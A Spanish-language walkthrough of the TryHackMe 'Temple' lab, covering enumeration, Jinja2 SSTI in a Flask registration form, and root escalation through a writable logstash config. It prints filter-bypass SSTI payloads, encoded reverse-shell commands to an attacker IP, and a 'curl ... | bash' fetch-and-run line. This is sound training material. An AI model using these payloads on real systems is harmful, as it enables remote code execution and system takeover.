Temple - TryHackMe

SUMMARY

Debemos encontrar 2 banderas. Primero, a partir de un escaneo de puertos pude saber que había servidor web del que viene integrado enFlask, y que almacena una aplicación web que constaba de un login que emitía mensajes de error genéricos. Luego, realizando fuerza de directorios desde el directorio raíz del servidor, encontramos un registro, que nos permitió registrar una cuenta y acceder al panel de gestion de la aplicación web donde me di cuenta que era vulnerable a SSTI debido al parámetro username del registro, logrando ejecutar comandos en el sistema operativo de manera remota, pero el registro tenía un blacklist sobre el username de varios caracteres que logre evitar con un payload encontrado en un repositorio Github y con algunas modificaciones extra. Además, documente un método alternativo para evitar el blaclist del registro mediante la creación de una cookie de sesión con flask-unsign. Luego, en la escalada de privilegio, aproveche que el servicio logstash era ejecutado con los privilegios de root, para ejecutar comandos con privilegios de root, logrando asignar el bit SUID al archivo binario bash.

RECONOCIMIENTO ACTIVO

En este caso debemos acceder al sistema destino y obtener dos banderas. Primero, empezaremos utilizando el comando openvpn y el archivo de configuración OpenVPN con el fin de establecer una conexión VPN y poder acceder a los laboratorios donde están las máquinas virtuales y vulnerables.

Además, la plataforma de Tryhackme nos muestra la dirección IP de la máquina Temple.

FASE ESCANEO Y ENUMERACION

Ahora pasaremos a la fase de Escaneo y Enumeración con el fin de poder escanear los puertos del sistema destino. Además, obtendremos los servicios que se han levantado en los puertos abiertos, las versiones de los servicios, y el sistema operativo del sistema destino.

Los resultados que obtenemos son:

  • Un programa servidor FTP que se ejecuta en el puerto 21
  • El servicio Telnet que se ejecuta en el puerto 23.
  • Un servicio desconocido ejecutado en el puerto 7.
  • Un programa servidor SSH que se ejecuta en el puerto 22.
  • Un servidor web que se ejecuta en el puerto 61337, y que suele estar integrado en el framework Flask para el despliege de aplicaciones web. Ademas, observamos la ruta de un recurso llamado login.

Ahora accederemos al recurso login mediante el navegador web.

Podemos observar que el recurso se trata de un login. Ademas, si utilizamos las credenciales por defecto como admin:admin, admin:password, root:password, no logramos autenticarnos. Ademas, observamos que los mensaje de error generados son bastantes genericos por lo que no facilita la enumeracion de usernames ni el ataque de fuerza bruta de contraseñas, y en el codigo fuente de la pagina web no obtenemos nada interesante.

Ahora realizaremos fuerza bruta de directorios en el directorio raiz del servidor web Apache.

Podemos observar que no logramos encontrar nada interesante.

Ahora realizaremos fuerza bruta de directorios en el directorio raiz de la aplicación web. Aunque el servidor web atiende las solicitudes HTTP bastante lento por mas hilos que le metemos a Gobuster. Ademas, no es reomendable meterlo muchos hilos porque omite recursos escondidos.

Podemos observar que hay un mensaje troll en el recurso robots.txt. Ademas, hay un recurso que requiere que primero nos autentiquemos en el login, y hay otros recursos a los cuales no tenemos los permisos para acceder, pero aun asi utilizaremos fuerza bruta de directorios desde la ruta de esos recursos restringidos con el fin de poder obtener algun recurso desprotegido.

Podemos observar que solo obtuvimos recursos restringidos a los que no podemos acceder. Ademas, debido a que no hay mas cosas que enumerar y que representen un vector de ataque, debemos seguir realizando fuerza bruta de directorios desde la ruta de estos nuevos recursos restringidos, y tener la esperanza de encontrar algun recurso a lo que podemos acceder.

Despues de esperar mucho tiempo, logramos encontrar un recurso al que podemos acceder. Ademas, este recurso se trata de un registro que se encuentra operativo y donde logre crear una cuenta.

Ahora nos rautenticaremos con esta nueva cuenta en el login, y analziaremos las funcionalidades que puede haber en el pane lde administracion de la aplicación web.

FASE GANAR ACCESSO O HACKING O EXPLOTACION

Podemoso observar que las paginas web de la aplicación web vienen a ser estaticas y no presentan ninguna funcionalidad o contenido dinamico. Aunque podemos observar en la pagina web asociada a la seccion Account que nuestro username se ve reflejado en su codigo fuente, esto puede ser un indicio de vulnerabilidad XSS Reflected. Para comprobar esto, regisraremos una cuenta con un username que contenga un payload XSS basico.

Podemos observar que mi payload XSS se logra insertar en la respuesta HTTP de la aplicación web sin nigun tipo de santizacion, pero esta vulnerabilidad no representa un vector de ataque en si, pero al tratarse de una aplicación web desarrollado en el framework Flask, noostros sabemos que su template engine integrado es Jinja2. Por lo que comprobaremos si presenta la vulnerabilidad SSTI. Para ello registraremos una cuenta donde el username viene a ser un payload sencillo de acuerdo a la sintaxis de Jinja2.

Payload Exitoso: { {7*7} }

Podemos observar que la entrada del usuario se concantena directamente en el template, y no tiene ningun metodo de santizacion o un metodo que haga que las entradas del usuario se pasen como datos al template.

Ahora registraremos una cuenta donde el username va tener un payload que me permitira ejecutar el comando id en el sistema operativo del sistema destino.

Podemos observar que en el registro se ha implementado un filtro con una lista negra con el carácter _ para evitar que los usuarios se registren con un username que contenga este carácter. Esto lo podemos saber cuando ingresamos nuestro payload y observamos que nos aparece un mensaje de error que nos indica que se esta usando un carácter ilegal en el username. Luego, a traves de un prueba podemos determinar que ese blacklist consta del carácter _.

Ahora buscaremos un payload adecuado en el repositorio Github PayloadsAllTheThings que nos permita omitir el carácter _.

Podemos observar que el payload escogido del respositorio Github tenia un carácter ilegal que era la comilla simple. Esto lo supimos al testear los otros caracteres especiales como [ y tuvimos un registro exitoso. Para hacer que nuestro payload sea aceptado, convertire las comillas simples por las dobles.

Payload Exitoso: { { request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("id")|attr("read")() } }

De esta manera tuvimos un regisro exitoso, y logramos ejecutar el comando id exitosament en el sistema operativo del sistema destino.

Ahora lo comun seria registrar una cuenta donde el username sea un payload que nos genere una reverse shell pero ya he probado con varios comandos y no he tenido suerte debido a que algunos comandos tienen los caracteres ilegales encontrados anteriormente, pero esto se puede evitar realizando una codificacion hexadecimal o base64 de nuestro payload, pero aun asi obtengo una respuesta HTTP con codigo de estado HTTP 500.

Payload Fallido: { {request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")(“ echo “cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI+JjF8bmMgMTAuOC4xMjMuMTk0IDE4MDAgPi90bXAvZg==” |  base64 -d | bash")|attr("read")() } }
Payload Fallido: { {request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")(" echo “\x72\x6d\x20\x2f\x74\x6d\x70\x2f\x66\x3b\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x66\x3b\x63\x61\x74\x20\x2f\x74\x6d\x70\x2f\x66\x7c\x62\x61\x73\x68\x20\x2d\x69\x20\x32\x3e\x26\x31\x7c\x6e
\x63\x20\x31\x30\x2e\x38\x2e\x31\x32\x33\x2e\x31\x39\x34\x20\x31\x38\x30\x30\x20\x3e\x2f\x74\x6d\x70\x2f\x66” | bash")|attr("read")() } }
Payload Fallido: { {request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("echo “ YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjEyMy4xOTQvMTgwMCAwPiYx” | base64 -d | bash")|attr("read")() } }
Payload Fallido: { {request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("echo ”\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x30\x2e\x38\x2e\x31\x32\x33\x2e\x31\x39\x34\x2f\x31\x38\x30\x30\x20\x30\x3e\x26\x31” | bash")|attr("read")() } }

Por esta razon registraremos una cuenta donde el username va ser un payload que contenga un comando que realice una solicitud GET hacia un script Bash de mi sistema con curl hacia mi servidor web local con el fin de obtener su codigo a traves del body de la respuesta, y luego utilizando el operador | ejecutaremos su comando con el interprete bash del sistema destino y de esa manera obtendremos una reverse shell mediante la vulnerabilidad SSTI.

Payload Exitoso: { { request|attr("application")|
attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|
attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|
attr("popen")("curl http://10.8.123.194/reverse.sh |bash")|attr("read")() } }

De esta manera logramos obtener acceso al sistema destino siiendo el usuario bill. Otra manera que hubieramos optado para ganar accesso al sistema destino, seria primero observando el codigo fuente de la aplicación web con el fin de saber la clave secreta con la que firma las cookies de sesion que genera.

Payload Exitoso: { {request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("cat webapp.py")|attr("read")() } }

Ahora utilizaremos flask-unsgin para decodificar la cookie de sesion generada por la aplicación web donde nos daremos cuenta que estara conformado por el username. Por este motivo crearemos una cookie de sesion con un username igual a un payload, que puede contener caracteres ilegales ya que evitaremos el filtro implementado en el registro, y que nos generara una reverse shell cuando lo ejecutemos.

Luego, de obtener accesso al sistema destino, realizaremos un tratamiento de la reverse shell con el fin de hacerlo mas interactiva e estable.

FASE ESCALADA PRIVILEGIOS

Ahora realizaremos una buesqueda de vectores de escalada de privielgios manual en el sistema de archivos de bill .

  • Podemos observar que realizamos una enumeracion de todos los archivos cuyos grupos primarios vienen a ser algunos de los usuarios locales, pero no obtuvimos archivos intereseantes.
  • Ademas, el usuario local billl no puede ejecutar ningun comando mediante el comando sudo.
  • Ademas, no hay ningun archivo binario con el bit SUID que nos permite realizar una escalada de privilegios.
  • Ademas, no hay una tarea cron que nos permite realizar una escalada de privilegios.
  • Ademas, logre encontrar unas credenciales para acceder al DBMS MySQL que solo admite conexiones desde el mismo sistema. Luego, accedi a la base de datos temple_user, y volque todos los registros de la tabla temple, logrando obtener el hash de un admin, pero el reto consiste en crackear ese hash y con algo de suerte viene a ser la contraseña de inicio de sesion de algun usuario local, pero no logre crackearlo con rockyou.txt, por lo que claramente no viene a ser esto un vector de escalada de privilegio ya que no hemos encontrado un wordlist hasta ahora para crackearlo.

Ahora utilizaremos Linpeas para que nos de una mano en la busqueda de vectores de escalada de privilegios de manera automatizada.

Podemos observar que tenemos el permiso de escritura sobre un archivo de configuracion de un serivicio llamado logstash. Ademas, si buscamos en el motor de busqueda de Google mas informacion de este servicio nos topamos con este sitio web Hacktricks que nos dice que logstash viene a ser una herramienta que facilita la recoleccion de datos de diversas fuentes como archivos de registros o logs de aplicaciones, bases de datos y otros sistemas mediante el uso de pipelines. Ademas, este servicio representa un vector de escalada de privielgio si se cumple las siguientes condiciones:

  • Si el servicio es ejecutado bajo la cuenta de un usuario con privilegios elevados.
  • Si el archivo /etc/logstash/logstash.yml contiene la entrada config.reload.automatic: true
  • Si tenemos permiso de escritura sobre uno de los archivos especificados en las canalizaciones del archivo /etc/logstash/pipelines.yml.

Ahora comprobaremos si cumplimos con estas condiciones.

Podemos observar que el servicio se ejecuta bajo la cuenta del usuario root. Ademas, tenemos permiso de escritura sobre uno de los archivos de configuracion del directorio conf.d. Ademas, el archivo /etc/logstash/logstash.yml contiene la entrada config.reload.automatic: true. Por lo tanto, se cumple las condiciones.

Ahora modificaremos el contenido del archivo configuracion para ejecutar el comando whoami, y esperaremos 120 segundos para que se ejecute y ver su contenido en el archivo /tmp/output.log.

Ahora que sabemos que funciona y que tenemos una via para ejecutar comandos con los privilegios de root, ejecutaremos un comando que haga que el archivo binario bash tenga el bit SUID habilitado con el fin de ejecutar una shell bash con los privilegios de root.

De esta manera realizamos una escalada de privilegio vertical. Luego, buscaremos la bandera el directorio root del usuario root.